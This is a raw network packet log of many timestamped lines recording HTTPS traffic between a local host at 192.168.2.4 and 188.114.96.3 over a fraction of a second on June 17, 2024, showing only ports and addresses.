Jun 17, 2024 16:19:05.403834105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403850079 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403917074 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403959036 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404021025 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404026031 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404036999 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404076099 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404114008 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404155016 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404175043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404180050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404211044 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404225111 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404304981 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404345989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404360056 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404366016 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404400110 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404548883 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404603004 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404627085 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404633045 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404659986 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404680014 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404752970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404797077 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404825926 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404838085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404859066 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404877901 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.404943943 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.404987097 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405013084 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405018091 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405040979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405060053 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405138969 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405179024 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405198097 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405203104 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405234098 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405249119 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405325890 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405365944 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405392885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405397892 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405431032 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405448914 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405534029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405580997 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405596972 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405601978 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405642033 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405659914 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405714989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405755043 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405791998 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405796051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405818939 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405834913 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405891895 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405937910 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405960083 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.405965090 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.405993938 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406008959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406081915 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406125069 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406145096 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406150103 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406179905 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406193972 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406260014 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406300068 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406326056 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406331062 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406358004 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406378031 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406423092 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406461954 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406482935 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406488895 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406511068 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406528950 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406668901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406713963 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406737089 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406742096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406768084 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406785011 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406860113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406900883 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406920910 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406925917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.406948090 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.406965017 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407043934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407083988 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407120943 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407125950 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407147884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407166004 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407222033 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407265902 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407314062 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407319069 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407350063 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407416105 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407478094 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407493114 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407510996 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407537937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407562971 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407694101 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407736063 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407758951 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407763958 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407788038 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407807112 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407881021 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407927036 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407944918 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407951117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.407975912 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.407999039 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408070087 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408108950 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408127069 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408133984 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408158064 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408174992 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408246994 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408289909 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408314943 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408319950 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408340931 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408355951 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408427000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408471107 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408497095 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408518076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408531904 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408564091 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408668041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408724070 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408729076 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408747911 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408795118 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408796072 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408889055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408930063 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408956051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.408963919 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.408984900 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409002066 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409058094 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409102917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409120083 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409126043 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409149885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409166098 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409233093 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409274101 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409297943 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409302950 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409323931 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409339905 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409415960 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409456015 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409477949 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409482956 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409503937 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409523010 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409600973 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409642935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409668922 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409677029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409694910 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409708977 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409769058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409809113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409831047 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409836054 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409866095 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409882069 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.409950018 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.409990072 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410008907 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410015106 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410038948 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410065889 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410115957 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410140038 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410175085 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410181046 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410190105 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410193920 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410211086 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410216093 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410232067 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410248041 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410290003 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.410295963 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.410332918 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.414769888 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.414799929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.414850950 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.414855957 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.414866924 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.414886951 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.414915085 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.414953947 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.414958000 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.414997101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.423135042 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.423190117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.423216105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.423221111 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.423279047 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.423351049 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.423397064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.423415899 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.423422098 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.423449039 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.423468113 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.491281986 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.491353035 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.491400003 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.491411924 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.491545916 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.491545916 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.491914988 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.491959095 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492079973 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492079973 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492089033 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492202044 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492252111 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492271900 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492271900 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492278099 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492311001 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492376089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492418051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492444038 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492449999 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492564917 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492564917 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492650032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492695093 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492712975 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492719889 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492753983 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492775917 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492856979 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492897987 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492914915 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492923021 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.492950916 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.492964983 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.509530067 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.509581089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.509618998 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.509629011 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.509654045 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.509680033 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.509881020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.509934902 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.509951115 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.509958029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.509993076 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510011911 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510140896 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510185957 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510207891 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510212898 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510243893 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510261059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510338068 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510379076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510404110 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510409117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510432959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510449886 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510525942 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510581017 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510610104 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510617971 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510642052 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510662079 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510693073 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510742903 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510763884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510768890 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510806084 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.510940075 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510982990 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.510999918 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511006117 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511024952 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511044979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511126041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511174917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511193991 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511199951 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511226892 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511240959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511315107 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511356115 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511389971 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511394024 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511415958 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511431932 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511506081 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511547089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511564016 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511570930 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511600018 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511697054 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511738062 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511759043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511764050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511784077 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511800051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511881113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511929035 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511960030 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.511966944 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.511989117 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512010098 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.512053013 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.512101889 CEST	443	65277	188.114.96.3	192.168.2.4
